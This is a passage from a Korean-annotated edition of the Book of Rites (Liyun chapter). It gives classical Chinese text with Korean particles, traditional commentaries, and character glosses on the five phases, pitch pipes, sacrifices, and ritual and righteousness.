冬終竭而春이 始來則春이 爲夏之本하고, 春竭而夏來則 夏이 又爲秋之本이니, 已往者이 爲見在者의 所竭하니 見在者이 爲方來者의 所本이니 五行.四時.十二月이 莫不皆然也라.\n[山陰陸氏曰竭盡也水王則金竭木王則水竭王文公曰此立而彼竭也]\n[蔣氏曰方天一生水地六成之是時之爲冬者然也而金爲之本矣地二生火天七成之是時之爲夏者然也而木爲之本矣]\n23. 五聲․六律․十二管이 還相爲宮也요.[380]\n五聲은 宮商角徵羽也라. 六律은 陽聲은 黃鐘子,太簇寅姑洗辰蕤賓午,夷則申,無射戍也요. 陰聲은 謂之六呂이니 大呂丑,應鐘亥,南呂酉,林鐘未,仲呂已,夾鍾卯也라. 六律六呂는 皆是候氣管名이니, 律은 法也니 又云述也요, 呂는 助也니 言助陽宣氣也라. 總而言之면 皆可稱律이라. 故.月令에 十二月을 皆稱律也하니, 長短之數이 各有損益이요, 又有娶妻生子之例하니 長短損益者는 如黃鍾이 長이 九寸이니 下生者이 三分去一故로 下生林鍾의 長六寸也요, 上生者이 三分益一하니 如林鍾長六寸이 上生太簇長八寸也라. 上下之生이 五下六上이니, 蓋自林鍾未로 至應鍾亥면 在皆子午以東이라. 故.謂之下生이요, 自大呂丑으로 至蕤賓午면 皆在子午以西라. 故.謂之上生이니 子午는 皆屬上生하니 當云七上而云六上者는 以黃鍾이 爲諸律之首故로 不數也라. 律이 娶妻而呂이 生子者이 如黃鍾九이 以林鍾六으로 爲妻하니 太簇九이 以南呂六으로 爲妻하야 隔八而生子則林鍾이 生太簇하고 夷則이 生夾鍾之類也니 各依此推之면 可見還相爲宮者라. 宮은 爲君主之義하니 十二管이 更迭爲主를 自黃鍾始하니 當其爲宮에 五聲이 皆備라. 黃鍾第一宮이 下生林鍾爲徵하고 上生太簇爲商하고 下生南呂하야 爲羽하고 上生姑洗하야 爲角하니 餘는 倣此라. 林鍾은 第二宮이요, 太簇은 三이요, 南呂은 四요, 姑洗는 五요, 應鍾은 六이요, 蕤賓은 七이요, 大呂는 八이요, 夷則은 九요, 夾鍾은 十이요, 無射는 十一이요, 仲呂는 十二也니, 此非十二月之次序라. 乃律呂相生之次序也라.\n[朱子曰按五聲相生至於角位隔八下生當得宮前一位以爲變宮五聲之正至此而窮又自變宮隔八上生當得徵前一位以爲變徵餘八不可損益而其數又窮故立均之法至於是而終焉孔氏以本文但云五聲十二管故不及二變而止爲六十聲增八二變二十四聲合爲八十四聲自唐以來法皆如此云]\n[長樂陳氏曰禮書曰先王因天地陰陽之氣而辨十有二辰因十有二辰而生十有二律其長短有度其多寡有數其輕重有權其損益有宜始於黃鐘終於仲呂黃鐘大簇姑洗損陽以生陰林鐘南呂應鐘益陰以生陽蕤賓夷則無射又益陽以生陰大呂夾鐘仲呂又損陰以生陽何則黃鐘至太簇陽之陽也林鐘至應鐘陰之陰也陽之陽陰之陰則陽息陰消之時故陽常下生而有餘陰常上生而不足蕤賓至無射則陰之陽也大呂至仲呂則陽之陰也陰之陽陽之陰則陽消陰息之時故陽常上生而不足陰常下生而有餘然則自子午以左皆上生子午以右皆下生矣書曰聲依永律和聲則律非五聲不能辨聲非十二律不能和五聲非變則不能盡故一律之中莫不具五聲五聲之外有所謂二變黃鐘爲宮則林鐘爲徵太簇爲商南呂爲羽姑洗爲角應鐘爲變宮蕤賓爲變徵林鐘爲宮則太簇爲徵南呂爲商姑洗爲羽應鐘爲角蕤賓爲變宮黃鐘爲變徵以至十律之爲宮餘律之爲商角徵羽爲二變旋之爲十二宮析之爲八十四聲類皆五位爲五音第之至六爲變宮又第之至七爲變徵然後宮復旋矣此六律之大致也]\n24. 五味․六和[去聲]․十二食이 還相爲質也요. [384-1]\n酸苦辛鹹에 加滑與甘하니 是이 五味六和也요, 十二食은 十二月之所食也라. 還相爲質者는 如春三月에 以酸爲質이요, 夏三月에 以苦爲質而六和이 皆相爲用也라.\n25. 五色․六章․十二衣이 還相爲質也니라. [384-2]\n五色은 靑,赤,黃,白,黑也니, 竝天玄하야 爲六章이요, 十二月之衣는 如月令에 春衣靑 夏衣朱之類라. 還相爲質은 謂畵繪之事이 主其時之一色而餘色이 間雜也라.\n[延平周氏曰五聲六律十二管還相爲宮也者十二律各具五聲而還相爲宮也五行者四時十二月之所自出五聲者六律十二管之所自出五味之於六和十二食五色之於六章十二衣亦若是而已矣四時者間於十二月者也六律者間於十二管者也六和之於十二食六章之於十二衣亦若是而已矣]\n[馬氏曰五行莫不有其味先王因之以爲五味六和十二食所以順其味五行莫不有其聲先王因之以爲五聲六律十二管所以順其聲五行莫不有其色先王因之以爲五色六章十二衣所以順其色]\n[長樂陳氏曰五聲言其氣之所在故言本五味五色言其形之所尙故言質]\n26. 故로 人者는 天地之心也며 五行之端也며 食味別[反列反]聲被色而生者也라.[385]\n天地之心은 以理言이요, 五行之端은 以氣言이요. 食五味,別五聲,被五色은 其間에 皆有五行之配而性情의 所不能無者라. ○ 問人者는 天地之心하러이다. 朱子이 曰謂 如天道이 福善禍淫이 乃人所欲也이니, 善者를 人皆欲福之하고, 淫者를 人皆欲禍之니라. 又曰 敎化이 皆是人做이니 此所謂人者는 天地之心也라.\n[蔣氏曰上章旣言人者天地之德五行之秀氣至此復言人者天地之心五行之端蓋德言其自得心言其能運氣證其所自稟端究其所從始名雖不同其實一也]\n[嚴陵方氏曰天地散而爲五行故仁之端則木之性所立也義之端則金之性所立也以至火之於禮水之於知土之於信亦若是已故曰五行之端也五行滋而爲五味人以養其口感而爲五聲人以養其耳形而爲五色人以養其目然後人得而生焉故曰食味別聲被色而生者也]\n[長樂陳氏曰上言聲與色目然之序故先聲而後味味而後色以明有氣而後有形也此言人之所用聲味與色之序故食味而後別聲別聲而後被色以明由內以及外也]\n[龍泉葉氏曰天地之道至誠而不息五行之氣至和而不乖此王則彼衰彼息則此生迭相爲竭而未嘗竭也五行歲月始此終彼相爲本末不可窮盡此天地所以久存而不廢也其在人也發於聲音則律呂之變不可窮發於飮食則滋味之變不可窮發於衣服則色章之變不可窮凡天地五行陰陽運動之勤勞皆發於萬物而資於人以與之竝爲長久也天地之情性非人則不能體而參之天地之功用非人則不能察而法之天地之所以不息者由人道而後見之此人所以爲天地之心五行之端食味別聲被色以生養於覆載之內而獨有厚於萬物焉]\n27. 故로 聖人이 作則하시되 必以天地爲本하시며 以陰陽爲端하시며 以四時爲柄하시며 以日星爲紀하시며 月以爲量[去聲]하시며 鬼神以爲徒하시며 五行以爲質하시며 禮義以爲器하시며 人情以爲田하시며 四靈以爲畜[許又反]하시니 以天地爲本이라. 故로 物可擧也며 以陰陽爲端이라. 故로 情可睹也며 以四時爲柄이라. 故로 事可勸也며 以日星爲紀라. 故로 事可列也며 月以爲量이라. 故로 功有藝也며 鬼神以爲徒라. 故로 事可守也며 五行以爲質이라. 故로 事可復也며 禮義以爲器라. 故로 事行有考也며 人情以爲田이라. 故로 人以爲奧也며 四靈以爲畜이라. 故로 飮食有由也니라.[388]\n此章은 凡十條이니 自天地로 至人情九條는 皆是覆說前章諸事하니 萬事萬物之理이 不出乎天地之間이라. 聖人이 作爲典則而以天地爲本則事物之理이 皆可擧行이라.\n○情之善者는 屬陽하고 惡者는 屬陰하니 求其端於陰陽則善惡을 可得而見이라.\n○柄은 猶權也라. 四時各有當爲之事하니 執當時之權柄하야 以敎民立事則事可勸勉而成이라.\n○日星爲紀는 如日中星鳥.日永星火之類이니 所以紀時之早晩이라. 列者는 以十二月之事로 詳列하야 以示民而使之作爲也라.\n○量은 限量也이니 謂十二月之分限이라. 分限이 不踰則所爲皆得其時故로 事功이 滋長을 如樹藝然也라.\n○徒는 如徒侶之相依하니 郊社宗廟山川五祀之禮이 皆與政事로 相依卽前章殽地以下諸事라. 如此行政則凡事를 可悠久不失也라.\n○五行之氣이 周而復始하니 質은 猶正也라. 國家이 歲有常事하니 必取正於五行之時令則其事이 亦今歲周而來歲復始也라.\n○器必成而後에 適於用이니 今用禮義를 如成器則事之所行이 豈有不成者乎아? 考는 成也라.\n○治人情을 如治田하야 不使邪僻으로 害正性을 如不使稊稗로 害嘉穀則人皆有宿道하야 向方之所를 如室之有奧也라.\n○六畜은 人家所豢養이니 四靈은 本非可以豢養으로 致者라. 今皆爲聖世而出이 如馴畜然하니 皆聖人道化所感耳라. 飮食有由者는 由用也니 謂四靈이 爲鳥獸魚鼈之長하니 長이 至則其屬이 皆至하야 有可用之以供庖廚者矣라.\n[長樂陳氏曰以天地爲本至於五行以爲質以言其所法者也禮義以爲器人情以爲田以言其所用者也四靈以爲畜以言其所致者也聖人作則必推其所法以適其所用然後有所致矣]\n[張子曰自天地爲本至四靈爲畜一理也特細別耳事天治人與夫接物無所不用其極能用其極則其餘不足治矣]\n[嚴陵方氏曰以天地爲本則萬物皆末焉本旣得則末斯從之故物可擧也擧言持之在我也陰陽者萬物之情以陰陽爲端則其情可探而見故情可睹也以四時爲柄則人順時之後先因時之動靜不敢辭焉故事可勸也以日星爲紀則晝之所叅夜之所考各得其序焉故事可列也月以爲量則興事造業各有數以致其能焉故功有藝也五行以爲質則代廢代興皆周而復始焉故事可復也四靈以爲畜則人之日用者皆易致焉故飮食有由也由言人因之致用也]\n[馬氏曰法象莫大乎天地故以爲本而陰陽日月鬼神皆天地之別也聖人作則莫不取象於此雖然聖人作則仰有法於天俯有察於地而近取於人情者禮義也禮義出於人情先王因之以爲治情之具也自天地爲本推而至於人情以爲田其爲法備其爲治詳宜有休徵以應之也故終以四靈爲畜然四靈以爲畜聖人無意於是蓋在己有以立之在物者亦順之而不敢逆也]\n[睹볼도][滋불을자,맛,번성][僻후미질벽][稊강아지풀제][稗패패][豢기를환][馴:길들순][鼈자라별][庖부억포,요리][廚:부억주]\n28. 何謂四靈고 麟鳯龜龍을 謂之四靈이어늘 故로 龍以爲畜이라. 故로 魚鮪[偉]不淰[審]하며 鳯以爲畜이라. 故로 鳥不獝[況必反]하며 麟以爲畜이라. 故로 獸不狘[許月反]하며 龜以爲畜이라. 故로 人情을 不失이니라.[392]\n鮪는 魚之大者故로 特言之하니라. 淰은 群隊驚散之貌라. 獝는 驚飛也요, 狘은 驚走也라. 三靈物이 旣馴擾如畜則其類이 皆隨從之하야 雖見人이나 亦不爲之驚而飛走矣라. 龜能前知하니 人有所決하야 以知可否故로 不失其情之正也라. 上三物은 皆因飮食有由而言호대 龜獨不言介蟲之類應者는 以其爲決疑之寶이니 非可以飮食之物로 例之也라.\n○石梁王氏曰四靈以爲畜은 衍至此이 無義味太迂疏라. 何所無龜리오?\n[嚴陵方氏曰麟體信厚鳯知治亂龜兆吉凶龍能變化故謂之四靈]\n[長樂陳氏曰魚鼈鳥獸至於不淰不獝不狘者蓋亦不必實然所以誘君人者修德而已矣]\n[鼈:자라별][鮪:다랑어유][淰:물놀이칠염.고기물살질][獝:놀랄휼][狘:놀라달아날월][迂:멀우]\n29. 故로 先王이 秉蓍龜하시며 列祭祀하시며 瘞[曀]繒[似仍反]하시며 宣祝嘏辭說하시며 設制度하시니 故로 國有禮하시며 官有御하시며 事有職하시며 禮有序니라.[394]\n瘞는 埋也라. 繒은 幣帛也라. 祭法에 云瘞埋於泰折은 祭地也라 하니라. 繒之言은 贈이니 埋幣告神者이 亦以贈神也라. 宣은 揚也라. 先王이 重祭事故로 定期日於蓍龜而陳列祭祀之禮하고 設爲制度를 如此其詳하시니 制度一定이면 國家이 有典禮可守하며 官有所治하며 事有其職禮得其序也라.\n[嚴陵方氏曰秉蓍龜所以決禮之疑列祭祀所以致禮之敬瘞繒所以備禮之物宣祝嘏辭説所以通禮之情設制度所以修禮之文若是則可謂有其禮矣故繼言國有禮也繒帛藏之於幽故言瘞辭説揚之於明故言宣建國必設官設官必治事治事所以行禮故其序如此然上言國有禮則禮之體也下言禮有序則禮之用也]\n[瘞:묻을예,산소][曀:날흐릴에,음산][繒:비단증,명주][蓍:톱풀시,뺑대쑥,蓍龜:점칠때 쓰는 가시풀과 거북.一本百莖下有神龜守之用之莁蒿屬]\n30. 故로 先王이 患禮之不達於下也라. 故로 祭帝於郊는 所以定天位也요, 祀社於國은 所以列地利也요, 祖廟는 所以本仁也요, 山川은 所以儐[擯]鬼神也요, 五祀는 所以本事也니. 故로 宗祝이 在廟하며 三公在朝하며 三老 在學하며 王이 前巫而後史하시며 卜筮瞽侑이 皆在左右어든 王이 中[句]心無爲也하야 以守至正이니라.[395]\n天子이 致尊天之禮則天下知尊 君之禮라. 故로 曰 定天位라 하니라. 食貨所資皆出於地하니 天子親祀后土는 正爲表列地利하야 使天下로 知報本之禮也라. 仁之實은 事親이 是也이니, 人君이 以子禮로 事尸는 所以達仁義之敎於下也라. 儐禮鬼神而祭山川하고, 本諸事爲而祭五祀는 皆是使禮敎之四達이니 此亦前章未盡之意라. 廟有宗祝하고 朝有三公하고 學有三老五更하니 無非明禮敎하야 以淑天下라. 巫는 主弔臨之禮而居前하고 史는 書言動之實而居後하고 瞽이 爲樂師하고 侑이 爲四輔하야 或辨聲樂或贊威儀而王居其中하야 此心이 何所爲哉아? 不過守君道之至正而已니 此이 又是人君이 以禮自防하야 示敎於天下也라.\n○石梁王氏曰 巫는 祭祀에 方用하고 卜筮는 有事에 方問이니 謂常在左右이 非也라.\n[嚴陵方氏曰禮之始也則自天子出禮之終也則與民由之. 與民由之然後禮達而分定 故先王患禮之不達於下則必有以爲之敎者 然敎必以祭祀爲主者以神道設之使民知畏敬故也 天則遠人而尊故祭帝於郊地則近人而親故祀社於國定 天位則天下達於尊卑之禮矣 列地利則天下達於施報之禮矣位欲其一故曰定物欲其陳故言列天神曰祀地祗曰祭而此於天曰祭者郊所以明天道故也於地曰祀者社所以神地道故也仁以立人道而人本乎祖故曰祖廟所以本仁也如是則天下達於親疏之禮矣 我爲祭主於內而山川之鬼神在外固有賓道故曰所以儐鬼神也 如是則天下達於興作之禮矣五祀出於五行而五行各因時以用事焉故曰所以本事也如是則天下達於制度之禮矣然於帝於社止言祭祀則祖廟以下皆主祭祀可知]\n[長樂劉氏曰宗祝在廟者執祭祀之禮雖鬼神之大不可得以亂之也三公在朝者執上下之禮雖君上之尊不可得以踰之也 三老在學者執人倫之禮雖異數之隆不可得以變之也王前巫者辟除其心之疑慮也後史者臨正其行之欹傾也卜筮瞽侑皆在左右者防其言動之有失也]\n[西山眞氏曰巫掌祀以鬼神之事告王史掌書以三皇五帝之事告王掌卜筮者以吉凶諫王瞽矇之叟以歌詩諫王一人之身而左右前後挾而維之雖欲斯須自放得乎[儐:인도할빈차려놓다.대접하다][擯물리칠빈,배척 팽가침,인도자][侑:권할유.돕다][欹아름다울의,거룩,아~!(감탄)][矇눈뜨고도못볼몽,어리석다][挾낄,믿다.持,감춤,품다]\n31. 故로 禮行於郊而百神이 受職焉하며 禮行於社而百貨를 可極焉이며 禮行於祖廟而孝慈를 服焉이며 禮行於五祀而正法則焉이니 故로 自郊․社․祖․廟․山川․五祀는 義之修而禮之藏[去聲]也니라.[398]\n此承上文帝祭於郊等禮而言百神受職謂風雨節.寒暑時而無咎徵也라. 百貨可極은 謂地不愛寶.物無遺利也요, 孝慈服은 謂天下皆知服行孝慈之道也요, 正法則은 謂貴賤之禮.各有制度하야 無敢僭踰也라. 聖王精禋感格이 其效如此하니 由此觀之則郊社祖廟山川五祀이 皆義之修飾而禮之府藏也라. 前言山川興作而此不言者는 法則之事이 包之也라.\n[嚴陵方氏曰受職言各受其職而有守也可極言各盡其利而無遺也正法則者以制度之所在故各得其法則之正也其行於始也祭帝於郊而已故終至於禮行於郊焉其始也祀社於國而已故終至於禮行於社焉固其序也推之於祖廟五祀其義亦若是爾]\n[長樂陳氏曰禮行於郊而百神受職焉者以其大報天而百神莫不與之也禮行於杜而百貨可極焉者以其五土之宜百物資之以生也禮行於祖廟而孝慈服焉者以其有祝以告人之孝而有嘏以告神之慈也禮行於五祀而正法則焉者以其有制以正法有度以正則也言郊社祖廟五祀而不及山川者以社言百貨可極則兼之也夫義則有宜禮則有體務其宜以歸其體然後五者之敎全矣故曰義之修禮之藏也]\n[臨川吳氏曰義者事理之宜禮者儀文之節修謂整葺無虧闕藏謂在於其中能知五者祭祀之宜禮在其中矣故曰義之修而禮之藏也]\n32. 是故로 夫禮必本於大[太]一이라. 分而爲天地하며 轉而爲陰陽하며 變而爲四時하며 列而爲鬼神하나니, 其降曰命이니 其官於天也니라.[400]\n極大曰太요, 未分曰一이니 太極函三爲一之理也라. 分爲天地則有高卑貴賤之等하고, 轉爲陰陽則有吉凶刑賞之事하고, 變爲四時則有歲月久近之差하고, 列爲鬼神則有報本反始之情하니, 聖人制禮이 皆本於此하사 以降下其命令者이니 是皆主於法天也라. 官者는 主之義라.\n○石梁王氏曰禮家이 見易有太極字하고 翻出一箇太一仍是諸子語라. 其官於天也一句結上文이니 官天地當如莊子義니라.\n[長樂陳氏曰以形之始而言之謂之大始以數之始而言之謂之大一]\n[嚴陵方氏曰天地則有上下之位陰陽則有升降之宜四時則有先後之序鬼神則有變化之功聖人體此以命物而在下莫不聽故曰其降曰命亦未嘗不本之於自然故曰其官於天不曰本而曰官者以夫禮之命物各有所主故也]\n33. 夫禮는 必本於天하야 動而之地하며 列而之事하며 變而從時하며 協於分[去聲]藝하니 其居人也曰養[義]이라 其行之는 以貨力․辭讓․飮과 食․冠昏․喪祭․射御․朝聘이라.[402]\n此亦本前章.本於天殽於地之意라. 動而之地는 卽殽地也요, 列而之事는 卽五祀所以本事也요, 變而從時는 卽四時以爲柄也요, 協合也니, 分은 謂月以爲量也요, 藝는 卽功有藝也라. 上言義之修禮之藏故로 此亦始言禮終言義하니라. 居人은 猶言在人也니 禮雖聖人制作而皆本於人事當然之義라. 故 云 居人曰義也라. 冠昏而下八者는 皆禮也이나, 然.行禮者必有貨財之資와 筋力之强과 辭讓之節飮食之品이니 亦皆當然之義也라.\n[蔣氏曰自禮必本於大一至其官於天所以言禮之不離乎天自禮必本於天至居人也曰養所以言禮之終歸於人且本於大一者天地未分之先也高卑以分天地立矣二氣轉移陰陽生矣寒暑代謝有四時之變生死往來有鬼神之形莫非此禮發露於自然聖人本其自然發露者制禮以命天下故曰其降曰命旣謂之降曰命矣又終之以其官於天者聖人懼天下言禮者瀆於人而志於天故爾且謂之必本乎天者猶言本乎大一也然動而之地則大一判而上下殊矣列而之事見於制度顯設之位變而從時推之於陰陽奇耦之象莫非此禮所以周流而不窮也聖人因而順其分之所宜受量其藝之所能爲而使之行是禮故曰恊於分藝必終之以居人曰養者聖人懼天下之言禮者惑於天而不體於人故爾]\n[嚴陵方氏曰上言禮本於大一則原禮之初而已此又明禮之用焉上言禮之初故言官於天以見其自然此言禮之用故言居人以見其使然也又曰其行之以貨力辭讓飮食冠昏喪祭射御朝聘言冠昏喪祭射御朝聘非貨力辭讓飮食有不行也夫欲行禮貨力爲先辭讓次之飮食又次之故曰無財不可以爲悅非强有力者莫能行也]\n[臨川吳氏曰儀文爲禮在人知其所以然之理爲義貨財者行禮之資筋力者行禮之具辭讓者行禮之實][恊=協]\n34. 故로 禮義也者는 人之大端也니 所以講信修睦하며 而固人肌膚之會와 筋骸之束也며 所以養生送死하며 事鬼神之大端也며 所以達天道하며 順人情之大竇也니라. 故로 唯聖人아 爲知禮之不可以已也하시나니 故로 壞[恠]國喪[去聲]家亡人이 必先去[上聲]其禮하나니라.[404]\n肌膚之總會와 筋骨之聨束이 非不固也나, 然.無禮以維飭之則惰慢傾側之容이 見矣니 故.必禮以固之也라. 竇는 孔穴之可出入者이니 由於禮義則通達하고 不由禮義則窒塞라. 故.以竇로 譬之하니라. 聖人之能達天道順人情者는 以其知禮之不可以已也니, 彼敗國之君은 喪家之主亡身之夫이 皆以先去其禮之故也라.\n[長樂陳氏曰講信修睦所以誠其心固人肌膚之會筋骸之束所以莊其身以至養生送死於其明事鬼神於其幽凡此皆人道而已由其人道所以達於天道故能順人情之所通大竇以言其通也]\n[馬氏曰禮義出於性而曰固肌膚之會筋骸之束何也蓋有禮則莊敬日强無禮則安肆日偷君子知謹於禮義則手足有所措耳目有所加進退揖讓有所制此所以固人肌膚之會筋骸之束也養生送死事鬼神其道非一而禮義者尤爲之大端也養生所以飾驩送死所以飾哀事鬼神所以飾敬此禮義以節文之也禮義出於天先王因之以達天道禮義出於人先王因之以順人情達者所以明之也順者所以因之也]\n[竇:구멍두.竇窖:구멍][恠:기이할괴,=怪][偷][措:둘조,섞일착][驩말기뻐할환,歡][聨:잇다을연][束:묶을속][飭:신칙할칙,삼갈칙,닦을칙]\n35. 故로 禮之於人也에 猶酒之有蘖也니 君子는 以厚요, 小人은 以薄이니라.[406]\n人以禮而成德이 如酒以麯蘖而成味하니 君子는 厚於禮故로 爲君子하며 小人은 薄於禮故로 爲小人하니 亦如酒之有醇醨也라.\n[長樂陳氏曰蘖之於酒厚則醇薄則醨醇則久醨則壞禮之於人厚則君子薄則小人君子則安小人則危善爲酒者戒其爲醨而務其爲醇善爲人者戒其爲小人而務其爲君子也]\n[蘖:황경나무벽,그루터기얼][麯누룩국.麴과同][醇:진할술순,온전함,섞이지않음.도탑다,삼가다][醨:모주리,薄酒]\n36-1. 故로 聖王이 修義之柄과 禮之序하사 以治人情하시나니, 故로 人情者는 聖王之田也니 修禮以耕之하며.[407]\n劉氏曰修者는 講明也라. 柄者는 人所操也라. 聖王이 講明乎義之所在하야 使人得所持循而制事之宜也라. 人能操義之要하야 以處禮之序則情之發이 皆中節矣니 故可以治人情也라. 禮者는 人情之防範이니 修道之敎이 莫先於禮라. 故.治人之情에 以禮爲先務이니 如治田者이 必先以耒耜로 耕之也라. [耜:보습사]\n36-2. 陳義以種之하며,[408-1]\n義者는 人情之裁制니 隨事制宜而時措之를 如隨田之宜而種所當種也라.\n36-3. 講學以耨之하며,[408-2]\n禮義는 固可使情之中節이나 然或氣質物欲이 蔽之而私意生焉則如草萊之害嘉種矣라. 故.必講學以明理欲之辨하야 去非而存是를 如農之耨하고 以去草養苗也라. [耨:호미누,김매다]\n36-4. 本仁以聚之하며.[408-3]\n講學以耨之者는 博而求之於不一之善이니 所以得一本萬殊之理요, 本仁以聚之者는 約而會之於至一之理니 所以造萬殊一本之妙也라. 至此則會萬理爲一理而本心之德全矣니 此如穀熟而斂之也라.\n36-5. 播樂以安之니라.[409]\n聚之者는 利仁之事이니 未能安仁也라. 故.必使之詠歌舞蹈하야 以陶養其德性하고 消融其查滓하야 而使之和順於道德焉 則造於從容自然之域矣니, 此則如食之而厭飫也라. 此五者는 聖王修道之敎이 始終條理如此 而講學居其中하야 以通貫乎前後하니, 蓋禮耕義種은 入德之功이니 學之始條理也요. 仁聚樂安은 成德之效이니 學之終條理也라. 自始至終 於仁義禮樂 無所不講하야 至其成也 則禮義之功이 著於先하고, 仁樂之效이 見於後焉이니라.\n[嚴陵方氏曰義者所操有宜而不可失故言柄禮者所行有節而不可亂故言序禮義雖本於人心然有至於無禮無義者心或動而情亂之也故聖人修其柄與其序還以治人之情而已人之有情猶地之有田不可不治也治其田者農夫之事也治其情者聖王之事也故曰人情者聖人之田禮者事之治猶耕之治荒蕪故言修義者事之宜猶種之因地宜故言陳學所以爲己猶耨之去苗害故言講仁者愛也仁則聚之猶穫故言仁以聚之樂者樂也樂則安之猶食故言樂以安之禮惡其壞故曰修義欲其明故曰陳學欲其辨故曰講仁以立人道非本不立故曰本樂以和民聲非播不和故曰播]\n[長樂陳氏曰修禮以耕所以開其心陳義以種所以納之正講學以耨所以去其非本仁以聚所以充其德播樂以安所以成其道也]\n[金華應氏曰學探千古群聖之奧而思索問辨以求其正猶耨之去草而耘治益精也仁總百行萬善之全而滋養培植以豊其成猶穫之揫斂而收取以無遺也樂具五音六律之節而動盪發越以宣其和猶旣穫之餘安坐以食而熙熙自如也播者散布發越之謂]\n[融:녹일융][滓:찌끼재][耨:김맬누,호미][耘:김맬운][穫거둘확][揫:묶을추][盪씻을탕]\n37. 故로 禮也者는 義之實也니 協諸義而協이어든 則禮雖先王이 未之有하시나 可以義起也니라.[411]\n實者는 定制也니 禮者는 義之定制요, 義者는 禮之權度라. 禮는 一定不易하고 義는 隨時制宜니 故.協合於義而合當爲者則雖先王이 未有此禮나, 可酌之於義而創爲之禮焉이니 此所以三代損益이 不相襲也라.\n[張子曰人情所安卽禮也故禮所以由義起]\n[馬氐曰禮者所以體常義者所以盡變變者禮中之權也常者義中之經也蓋禮義一物耳體其常則爲禮盡其變則爲義故三代之禮而或素或靑者皆所以變而從時也要之不違禮之經義之權而已]\n[黃氏曰禮也者義之實也禮者爲尊卑升降親疎之節義者合宜當理指的之稱名實相應則爲正禮倘有禮而不能合宜當理是有名而無實下文云協諸義而愶謂須合義則合禮也又下云禮雖先王未之有可以義起亦謂有未立之禮則取合宜之義而起作之非爲禮修飾之華明矣]\n[倘혹시당,어정거림.갑자기멈춤][愶겁낼협,위협,으르다]\n38. 義者는 藝之分[거성]이며 仁之節也니 協於藝하며 講於仁하여 得之者는 强이니라.[412]\n藝는 以事言이요, 仁은 以心言이니, 事之處於外者는 以義로 爲分限之宜하며, 心之發於內者는 以義로 爲品節之制니라. 協於義者는 合其事理之宜也요, 講於仁者는 商度其愛心之親疎厚薄而協合乎行事之大小輕重하야 一以義爲之裁制焉이니 上好義則民莫敢不服故로 得義者强이니라.\n39. 仁者는 義之本也며 順之體也니 得之者尊이니라.[413]\n仁者는 本心之全德이라. 故爲義之本이니 是乃百順之體質也라. 元者는 善之長이니 體仁이 足以長人故로 得仁者尊이라. 上文에 言禮者는 義之實이라 하고, 此言仁者는 義之本이라 하고, 實은 以散體言이요, 本은 以全體言이니, 同一理也라. 張子이 謂經禮三百과 曲禮三千이 無一事之非仁也라 하니, 猶之木焉이라.從根本至枝葉皆生意는 此全體之仁也요, 然.有一本至千枝萬葉이 先後大小이 各有其序는 此散體之禮也요, 而其自本至末一枝一葉이 各具一理하야 隨時榮悴하야 各得其宜者義也라.\n[長樂陳氏曰處藝以義然後有所別處仁以義然後有所節故曰義者藝之分仁之節也以其爲藝之分故能協於藝以其爲仁之節故能講於仁夫事親仁之實從兄義之實仁之於父子義之於君臣有親然後有兄弟有父子然後有君臣此先仁後義之體也仁人之安宅義人之正路由其宅然後至於路此先仁後義之用也故曰仁者義之本溫良者仁仁之本敬愼者仁之地寬裕者仁之作孫接者仁之能故曰順之體也仁必有義義未必有仁仁者天之尊爵故得仁則尊得義則止於强也][悴:파리할췌]\n40. 故로 治國호대 不以禮면 猶無耜而耕也요 爲禮호대 不本於義면 猶耕而弗種也요, 爲義而不講之以學이면 猶種而弗耨也요, 講之以學而不合之以仁이면 猶耨而弗穫也요. 合之以仁而不安之以樂이면 猶穫而弗食也요.[415]\n此는 反譬하야 以申明前段하니 聖學敎養之事이 有始有卒하야 其序不可紊而功不可缺이 如此이니라.\n[嚴陵方氏曰耜者治田之具禮則治國之具故治國不以禮猶無耟而耕耕所以種禾而生之義所以達禮而行之故爲禮不本於義猶耕而弗種也達嘉種而除其害者耨之事明大義以勝其非者學之事故爲義而不講之以學猶種而弗耨也耨之勤將以有穫學之勤將以有聚仁言聚也穫言獲也故講之以學而不合之以仁猶耨而弗穫也食有所養而享其利焉樂有所樂而安其仁焉故合之以仁而不安之以樂猶穫而弗食也然前言陳義而此變言本者凡種皆所以立本故也前言本仁而此變言合者以人本仁也合而言之道也]\n[譬:비유할비,깨우치다.짝][耜:보습사,耒末刃][耟:따비술거,耒末刃][耨:호미누][穫獲]\n41. 安之以樂而不達於順이면 猶食而弗肥也니, 四體 旣正하면 膚革이 充盈은 人之肥也요, 父子이 篤하며 兄弟이 睦하며 夫婦이 和는 家之肥也요. 大臣이 法하고 小臣이 廉 官職이 相序하며 君臣 相正은 國之肥也요. 天子이 以德爲車하시고 以樂爲御하시며, 諸侯이 以禮相與하시며, 大夫이 以法相序하며, 士이 以信相考하며, 百姓이 以睦相守는 天下之肥也니 是謂大順이니 大順者는 所以養生送死하며 事鬼神之常也니라.[416]\n前章은 至播樂以安之而止하고, 此又益以不達於順猶食而弗肥. 一節者는 蓋安之以樂以前은 皆是成已之功이니 大學明德之事也요, 達之於順以後는 方是成物之效이니 大學新民之事也라. 故.以人身之肥로 設譬而言家國天下之肥하니, 至此乃是聖學之極功이요, 成己成物合內外之道니 大學身修齊家國治天下平之事也라. 故.謂之大順大順이니 則無爲而治라. 所以養生送死事鬼神이 各得其常也이니라. 以上은 竝劉氏說이라.\n○ 大臣法은 盡臣道也요, 小臣廉은 不虧所守也요, 以德爲車는 由仁義行也요, 以樂爲御는 動無不和也요, 以禮相與는 朝聘以時也요, 以法相序는 上不偪下하며 下不僭上也요, 以信相考는 久要不忘也요, 以睦相守는 出入相友하며 守望相助하며 疾病相扶持也라. 肥者는 充盛而無不足之意라.\n[嚴陵方氏曰食之養人期於體之肥而已樂之和人期於理之順而已故安之以樂而不達於順猶食而弗肥也]\n[長樂陳氏曰四體以和順而正然後膚革充充而後盈此人之肥也父子以天性而篤兄弟以同氣而睦夫婦以異姓而和此家之肥也天子德敎加於百姓故以德爲可行之車而以樂爲行車之御諸侯制節謹度故以禮相守大夫非法不言非道不行故以法相序士則忠順不失故以信相考庶人則謹身而已故以睦相守此天下之肥也凡此是謂大順大順者非特明足以養生送死而幽足以事鬼神也]\n42. 故로 事大이 積焉而不苑하며 竝行而不謬하며 細行而不失하며 深而通하며 茂而有間하며 連而不相及也하며 動而不相害也하나니 此順之至也라, 故로 明於順한 然後에아 能守危也니라.[419]\n此以下至篇終은 皆是發明大順之說이니 以此大順之道로 治天下則 雖事之大者이 積疉在前이나, 亦不至於膠滯요. 雖事之不同者이 一時竝行이나, 亦不至舛謬也요. 雖小事所行이나, 亦不以其微細而有失也요. 雖深窅而可通하고 雖茂密而有間이니 謂有中間也라. 兩物이 接連而相及則有彼此之爭하고, 